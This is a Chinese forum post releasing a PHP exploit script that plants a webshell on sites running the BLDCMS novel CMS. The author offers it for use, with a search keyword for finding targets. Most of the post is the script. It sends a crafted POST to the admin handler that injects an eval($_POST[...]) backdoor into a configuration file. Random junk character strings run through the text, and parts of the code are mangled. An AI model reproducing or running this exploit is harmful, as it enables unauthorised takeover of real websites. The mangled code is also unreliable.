BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞

7 t1 e& j9 h; y/ x$ W6 `. U6 p( O
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

/ l# n" ]/ x8 T! ^- Q0 \& V既然都有人发了 我就把我之前写好的EXP放出来吧
+ q0 `) Y" s! u0 c
view source print?01.php;">
2 v2 {) }  y7 d9 [3 X02.<!--?php
2 N- ?* [: j5 `% R& @: \+ {03.echo "-------------------------------------------------------------------
: O' N0 [7 N$ M; B04.
! c! P4 B) e- j+ B; i* V05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
9 q% E) V  H3 K; g4 n8 x06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
$ O/ b$ K, Z7 r8 G08.
8 Q, x! S5 N, G5 X; c09.QQ:981009941\r\n                                2013.3.21\r\n            
2 G7 V+ c! v( ?10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
+ C' K0 R2 y2 C( W13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
7 J% W8 C# E) k2 _$ o, E& q7 e15.
- @* b+ x; L: y0 J16.--------------------------------------------------------------------\r\n";
3 R- V( L) N& N- z+ ?17.$url=$argv[1];
. l) z1 H" C; N8 i% d- B$ W18.$dir=$argv[2];
  o- r- n( N' p) e, R19.$pass=$argv[3];
1 n- u. {, s- d# n+ m; R9 s* T20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
) |3 G' L; U! n% F; g; C. b) M21.if (emptyempty($pass)||emptyempty($url))
# Q1 o: r. a5 c2 L( [% F2 ^22.{exit("请输入参数");}
23.else
, I* P6 u- w: T( L& W& g! H, A24.{
2 J) r1 [: w1 [5 L: F+ L! }25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
28.$length = strlen($fuckdata);
. C* U( T  f. L( c29.function getshell($url,$pass)
" e% ]! W  Z" T# m7 q30.{
6 ]  X% Q( @( b; \. e* l  r31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
( g/ H, ^( E. v0 J33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
. P: g/ ]" A6 l& C34.$header .= "User-Agent: MSIE\r\n";
  D% S, `  E: r3 k35.$header .= "Host:".$url."\r\n";
- n$ E+ q; o% q4 }& l" [36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
+ F0 I# {( a+ q7 y# E7 s& u38.$header .="\r\n";
( L& o9 r  x: ~; S$ n" D+ s8 G39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
( ^  k: s. h4 x; P% K7 C  t: A5 X41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
- l# ?% P4 B- S3 Q9 H: c45.else{ if (!fputs($fp,$header))
- d" j) K# }8 p) p. N3 R2 ^% R& v4 C# o46.{exit ("利用失败");}
47.else
8 x8 ^+ m; y$ w0 m- g48.{
% o* H. o# F* Y  V/ e1 C6 m" f/ l1 x49.$receive = '';
50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
0 y. z; Q, i9 i- k5 H# V) S55.
56.GPC是否=off)";
57.}}
58.}
59.}
60.getshell($url,$pass);
2 _  n( {4 i9 S7 K% y' V61.?-->
2 \; \& ?% z$ ]: c; v5 h* E$ G" N, Z
" }& O8 q2 W5 J

by 数据流